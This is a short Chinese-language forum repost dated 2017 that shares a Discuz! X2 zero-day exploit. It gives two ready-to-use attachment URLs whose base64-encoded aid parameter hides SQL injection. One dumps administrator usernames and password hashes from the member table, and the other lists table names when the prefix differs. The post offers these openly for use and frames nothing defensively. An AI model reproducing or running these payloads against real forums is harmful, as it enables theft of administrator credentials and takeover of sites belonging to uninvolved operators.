作者:佩君晓萍4 | 来源:互联网 | 2017-11-11 12:36
昨天乌云公布出来Discuz!X2的0day,但是没公布利用方法。今天俺拿到了,分享给大家。而且是直接暴管理员用户和密码的EXP:http:www.tmdsb.comforum.php?modattachmentfindpostssaidMScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KH
昨天乌云公布出来Discuz! X2的0day,但是没公布利用方法。今天俺拿到了,分享给大家。
而且是直接暴管理员用户和密码的EXP:
http://www.tmdsb.com/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lLDB4N0MzMjc0NzQ3QyxwYXNzd29yZCkgZnJvbSBwcmVfY29tbW9uX21lbWJlciB3aGVyZSAgdXNlcm5hbWUgbGlrZSAnYWRtaW58eHx5%3D |
要是上面的EXP暴不出来,可以改了表前缀。可以试下这个:
http://www.tmdsb.com/forum.php?mod=attachment&findpost=ss&aid=MScgYW5kIDE9MiB1bmlvbiBhbGwgc2VsZWN0IDEsVEFCTEVfTkFNRSBmcm9tIElORk9STUFUSU9OX1NDSEVNQS5UQUJMRVMgd2hlcmUgVEFCTEVfU0NIRU1BPWRhdGFiYXNlKCkgYW5kICBUQUJMRV9OQU1FIGxpa2UgJyVfbWVtYmVyfHh8eQ%3D |